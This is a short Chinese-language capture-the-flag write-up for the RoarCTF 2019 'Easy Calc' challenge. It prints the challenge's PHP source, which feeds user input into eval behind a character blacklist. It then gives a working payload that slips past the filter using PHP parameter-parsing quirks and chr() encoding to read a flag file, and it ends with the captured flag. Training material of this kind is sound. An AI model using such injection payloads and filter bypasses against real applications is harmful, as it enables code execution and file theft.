[RoarCTF 2019]Easy Calc
打开是一个计算器页面,F12有下面这么一段
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <script>$('#calc').submit(function(){
 $.ajax({
 url:"calc.php?num="+encodeURIComponent($("#content").val()),
 type:'GET',
 success:function(data){
 $("#result").html(`<div class="alert alert-success">
 <strong>答案:</strong>${data}
 </div>`);
 },
 error:function(){
 alert("这啥?算不来!");
 }
 })
 return false;
 })
 </script>
 
 | 
其中$(“#content”).val()等价于document.getElementById(“content”).value;
可以看到请求了calc.php,直接访问这个文件可以看到源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | <?phperror_reporting(0);
 if(!isset($_GET['num'])){
 show_source(__FILE__);
 }else{
 $str = $_GET['num'];
 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
 foreach ($blacklist as $blackitem) {
 if (preg_match('/' . $blackitem . '/m', $str)) {
 die("what are you want to do?");
 }
 }
 eval('echo '.$str.';');
 }
 ?>
 
 | 
直接拼接$str,实在太嚣张。
试了一下,num里带有数字以外的东西就会被拒绝访问,但这里直接解析利用php解析漏洞就行了(以前专门写过,不展开说了)
单双引号过滤可以用chr()绕过
试了一下,禁用了不少函数,最后payload如下
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
flag{de7cfd19-4506-4db7-ab9a-476e03debf87}